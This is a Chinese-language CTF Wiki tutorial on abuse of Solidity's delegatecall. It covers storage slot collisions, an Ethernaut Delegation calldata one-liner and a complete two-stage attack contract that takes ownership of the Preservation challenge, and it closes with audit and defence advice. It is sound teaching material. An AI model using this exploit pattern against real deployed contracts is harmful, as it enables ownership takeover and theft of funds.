欢迎光临
我们一直在努力

CTF Wiki 区块链安全实战:Solidity Delegatecall 滥用漏洞原理与攻防分析

  • 文档
  • 网络安全
  • 教程

【免费下载链接】ctf-wiki

Come and join us, we need you!

项目地址:
https://gitcode.com/gh_mirrors/ct/ctf-wiki

点击查看 免费下载

本文基于 CTF Wiki 区块链安全知识体系,系统梳理 Solidity 中 delegatecall 的执行语义、滥用场景与存储槽覆盖原理,并以 Ethernaut 第 16 题 Preservation 为例给出完整的两阶段攻击流程。读完本文,你将掌握 call / delegatecall / callcode 三种跨合约调用方式的区别、msg.data 与存储插槽(slot)对攻击面的影响,以及从"覆写 owner"到"任意代码执行"的实战利用链路。

从一条官方定义说起

以太坊官方文档对 delegatecall 给出了这样的定义:它是一类特殊的消息调用(message call),与普通消息调用几乎完全一致,唯一区别在于——目标地址处的代码是在调用方合约的上下文中执行的,并且 msg.sender 与 msg.value 不会改变。

这句话是理解整个漏洞类别的钥匙:delegatecall 借用了别人的"代码",却运行在自己的"房子"(存储、余额、上下文)里。如果代码与存储布局不匹配,或者被调用的地址、参数完全由外部控制,攻击者就能借助这段被委托的代码改写调用方合约的关键状态,甚至接管合约。

在 CTF Wiki 的以太坊安全章节中,delegatecall 与 任意存储写(Arbitrary Writing)、未初始化存储指针(Uninitialized Storage Pointer) 共同构成了"存储层攻击"的核心知识模块,三者共享同一套 Ethereum Storage 插槽布局规则,建议配合阅读。

Solidity 中的三种跨合约调用函数

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call、delegatecall 和 callcode 三种方式。它们有着相同的方法签名:

<address>.call(…) returns (bool)
<address>.callcode(…) returns (bool)
<address>.delegatecall(…) returns (bool)

这些函数提供了灵活的方式与合约进行交互,并且可以接受任何长度、任何类型的参数。其传入的参数会被填充至 32 字节,最后拼接为一个字符串序列,由 EVM 解析执行——这意味着调用方实际上是在构造 msg.data,而被调用方如何解释这串字节,完全取决于其代码逻辑。

msg 上下文随调用而改变

在函数调用的过程中,Solidity 中的内置变量 msg 会随着调用的发起而改变。msg 保存了调用方的信息,包括:调用发起的地址、交易金额、被调用函数字符序列等。正是因为"谁发起、钱是谁的"这类信息会被记录在 msg 中,三种调用方式对 msg 的不同处理方式,直接决定了它们在安全语义上的差异。

三者的异同点

调用方式调用后 msg 的值执行环境(代码运行所基于的存储)说明
call 会修改为调用者 被调用者的运行环境 最普通的跨合约调用
delegatecall 不会修改为调用者 调用者的运行环境 相当于把被调用者的代码复制到调用者合约中执行
callcode 会修改为调用者 调用者的运行环境 已被弃用,官方警告以 delegatecall 取代

Warning: callcode has been deprecated in favour of delegatecall。

换句话说,delegatecall 真正执行的是"目标合约的代码 + 当前合约的存储"。从 EVM 指令层面看,执行 delegatecall 期间的所有 SLOAD / SSTORE 访存指令,都作用于调用方合约自己的存储区域,这一点可以在仓库的 Ethereum Opcodes 一节中关于 SLOAD(storage[key] 读取)与 SSTORE(storage[key] = value 写入)的定义中得到印证。

Delegatecall 滥用的威胁分析

delegatecall 的设计初衷是代码复用:函数原型 <address>.delegatecall(…) returns (bool),其目的是使用给定地址的代码,其他信息(如存储、余额等)则使用当前合约的。当这种"代码与状态分离"的机制被外部输入所驱动时,风险随之而来。

参考函数原型,我们知道 delegatecall 调用有两个关键参数:address(目标代码地址)和 msg.data(要执行的调用数据)。按可控性可以拆分为两种威胁模型。

威胁一:msg.data 可控,可调用 address 处任意函数

若 msg.data 可控,则可调用 address 处的任意函数。考虑下面这个经典例子:

pragma solidity ^0.4.18;

contract Delegate {

address public owner;

function Delegate(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

这个例子中,Delegation 合约的 fallback 函数直接对传入的 msg.data 执行 delegatecall,委托给 Delegate 合约处理。注意两个合约的状态变量布局:

  • Delegate 中:slot 0 = owner
  • Delegation 中:slot 0 = owner,slot 1 = delegate

由于 delegatecall 使用调用方(Delegation)的存储执行被调用方(Delegate)的代码,Delegate.pwn() 中的 owner = msg.sender 实际写入的是 Delegation 的 slot 0,即 Delegation.owner。而 pwn() 又将 owner 设置为 msg.sender——由于 delegatecall 不会修改 msg.sender,这个值正是发起交易的外部账户。

攻击者如何成为 owner 呢?只需调用 Delegation 的"假" pwn() 即可。这会触发 Delegation 的 fallback,使 pwn 的函数签名哈希被放在 msg.data[0:4] 中,从而借由 delegatecall 执行 Delegate.pwn(),把 owner 变成自己:

contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)})

web3.sha3("pwn()") 计算出函数选择器(前 4 字节),slice(0,10) 取出 0xdd365b8b 这样的 4 字节十六进制前缀作为 calldata。这正对应了"msg.data 可控"这一条件:攻击者可以构造任意 calldata,借 fallback 之手委托执行任意目标函数。

威胁二:msg.data 与 address 都可控,可调用任意地址处任意函数

同理,只不过额外加上了 address 可控这个条件:若合约中存在形如 <userControlledAddress>.delegatecall(<userControlledCalldata>) 的调用点,攻击者既可以选择恶意代码所在地址,又可以选择要调用的函数。此时 delegatecall 等同于在受害合约的存储上下文中执行攻击者部署的任意逻辑,属于完全任意代码执行,危害等级最高。

存储槽覆盖:为什么 delegatecall 会"改错变量"

要理解 delegatecall 攻击的底层原理,必须回到以太坊的存储模型。以太坊为每个合约维护一个容量为 2^256 的超级存储数组,每个元素称为一个插槽(slot),可存放 32 字节数据,初始值为 0。除映射与动态数组外,普通状态变量按声明顺序从 slot 0 开始连续排列,小于 32 字节的变量会按紧密打包原则共享插槽。完整的插槽计算规则可以参考仓库的 Ethereum Storage 一节。

在此基础上看下面的"原因分析"例子:

pragma solidity ^0.4.23;

contract A {
address public c;
address public b;

function test() public returns (address a) {
a = address(this);
b = a;
}
}

contract B {
address public b;
address public c;

function withdelegatecall(address testaddress) public {
testaddress.delegatecall(bytes4(keccak256("test()")));
}
}

假设合约 A 部署后地址为 address_a,合约 B 部署后地址为 address_b,使用外部账户 C 调用 withdelegatecall(address_a),那么 address_a 与 address_b 中的 b、c 变量分别是多少?结果如下:

  • address_a 合约中:c = 0,b = 0(A 的代码在 B 的存储上运行,A 自身的存储未被触碰)
  • address_b 合约中:b = 0,c = address_b(写入落在了 B 的存储上)

可以看到,修改的不是 B 合约中的 b 变量,而是 B 合约中的 c 变量。这是因为 delegatecall 使用存储时依据的并不是变量名,而是变量的存储位(slot 编号)。

delegatecall 执行时 SSTORE 写入 slot 1 的 EVM 追踪示意图

如上图所示(EVM 执行追踪界面),sstore 即访存(存储写入)指令,这里写入的是 1 号存储位。1 号存储位在 B 合约中对应变量 c,而在 A 合约中则对应变量 b。两个合约虽然都声明了名为 b 和 c 的地址变量,但声明顺序不同导致存储槽位错位——于是"在 A 的代码里写 b"实际覆盖的是 B 的 c。这种变量名与槽位的错配,就是 storage 覆盖类攻击的根源:只要被委托合约与调用方合约的存储布局不一致,一次 delegatecall 就可能把数据写到攻击者期望的任何连续槽位上,从而覆盖 owner 等关键变量。

实战案例:Ethernaut 第 16 题 Preservation

合约源码

Ethernaut(Ethernaut 是 OpenZeppelin 提供的智能合约安全演练平台)第 16 题就是典型的 delegatecall 滥用。目标合约与库合约源码如下:

pragma solidity ^0.4.23;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

攻击链分析

首先梳理两个合约的存储布局:

  • LibraryContract:slot 0 = storedTime
  • Preservation:slot 0 = timeZone1Library,slot 1 = timeZone2Library,slot 2 = owner,slot 3 = storedTime

调用 Preservation.setFirstTime(_timeStamp) 时,实际通过 delegatecall 执行了 LibraryContract.setTime,后者执行 storedTime = _time。由于 delegatecall 运行在 Preservation 的存储环境中,slot 0 被写入 _timeStamp——而这个槽位对应的正是 timeZone1Library 变量!

于是攻击分为两步:

  • 第一次调用 setFirstTime 时,传入 uint(address(this))(恶意攻击合约地址),将 timeZone1Library 变量改写为恶意合约的地址;
  • 第二次调用 setFirstTime 时,传入任意值,此时 delegatecall 的目标已经变成恶意合约,msg.data 携带的 setTime(uint256) 选择器会触发恶意合约的 setTime 函数,在其中我们可以写入任意代码,实现完全接管。
  • 也就是说,两次 setFirstTime 调用构成了一条"先改委托目标,再执行任意代码"的完整利用链:第一次调用覆盖存储指针,第二次调用借助被替换的代码地址执行任意逻辑。

    攻击合约与调用序列

    contract attack {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;

    address instance_address = 0x7cec052e622c0fb68ca3b2e3c899b8bf8b78663c;
    Preservation target = Preservation(instance_address);
    function attack1() {
    target.setFirstTime(uint(address(this)));
    }
    function attack2() {
    target.setFirstTime(uint(0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2));
    }
    function setTime(uint _time) public {
    timeZone1Library = address(_time);
    timeZone2Library = address(_time);
    owner = address(_time);
    }
    }

    攻击合约自身刻意保持了与 Preservation 一致的存储布局(前三个变量同为 address),这样当它被 delegatecall 执行时,setTime 中的赋值恰好落在 Preservation 对应的槽位上:

    • timeZone1Library = address(_time) 写入 Preservation 的 slot 0;
    • timeZone2Library = address(_time) 写入 Preservation 的 slot 1;
    • owner = address(_time) 写入 Preservation 的 slot 2——即把 owner 改为传入的地址。

    先调用 attack1()(把 timeZone1Library 指向攻击合约),再调用 attack2()(触发攻击合约的 setTime,将 owner 改写为指定地址,这里示例用的是 0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2),即可完成对目标合约的接管。

    Preservation 关卡攻击成功后 owner 已被改写为攻击者地址

    如上图所示,攻击完成后查询 contract.owner() 返回的已是攻击者的账户地址,关卡判定完成,说明通过两次 delegatecall 成功篡改了目标合约的所有者。

    防御思路与审计要点

    结合上面的原理与案例,可以从以下几个维度评估与加固 delegatecall 的使用:

    • 保持存储布局一致:delegatecall 按槽位而非按变量名读写存储,因此被委托合约与调用方合约的存储布局必须完全一致,否则必然产生槽位错位。审计时先画出双方的 slot 布局再做对比(计算方法见 Ethereum Storage)。
    • 严格校验目标地址:被委托的 address 若可由外部控制,攻击者就能部署恶意合约并诱导委托执行。应对目标地址做白名单校验或使用编译期固定的 library。
    • 约束 msg.data:msg.data 可控意味着攻击者可调用目标地址的任意函数。应避免在 fallback 中无校验地透传 msg.data 给 delegatecall。
    • 警惕跨合约的状态读写:被委托代码中任何对自身存储的读写,实际都会落在调用方合约的存储上,评估风险时要把"谁的存储被写入"作为第一优先级。
    • 优先使用 Solidity 的 library 机制:library 调用在编译期即绑定代码地址,由编译器保证存储语义正确,是 delegatecall 的受控替代方案。

    相关 CTF 题目

    以下题目均围绕 delegatecall 滥用展开,可用于实战练习(题目附件相关内容可至 ctf-wiki 的 ctf-challenges/blockchain 仓库寻找):

    • RealWorld 2018:Acoraida Monica
    • Balsn 2019:Creativity
    • 第五空间 2020:SafeDelegatecall
    • 华为鲲鹏计算 2020:boxgame

    总结

    delegatecall 是 Solidity 中功能强大但极易被滥用的调用原语:它复用目标合约的代码,却运行在调用方合约的存储上下文之中,且不改写 msg.sender 与 msg.value。当 msg.data 或目标 address 落入攻击者控制时,一次调用就可能改写调用方合约的关键存储槽,进而演变为任意代码执行。理解其底层依赖的存储槽位语义(而非变量名),掌握"布局错位 → 槽位覆盖 → 委托目标替换 → 任意代码执行"的利用链,是审计与解题的关键——这也是 CTF Wiki 以太坊安全章节中与其他存储类攻击一脉相承的核心能力。

    赞

    分享

    • 文档
    • 网络安全
    • 教程

    【免费下载链接】ctf-wiki

    Come and join us, we need you!

    项目地址:
    https://gitcode.com/gh_mirrors/ct/ctf-wiki

    点击查看 免费下载

    上一篇:
    完全掌握微信聊天记录:从数据提取到AI赋能的完整解决方案

    下一篇:
    探索Forza Mods AIO:解锁5大隐藏功能,打造个性化极限竞速体验

    创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

    赞(0)
    未经允许不得转载:171主机测评 » CTF Wiki 区块链安全实战:Solidity Delegatecall 滥用漏洞原理与攻防分析
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址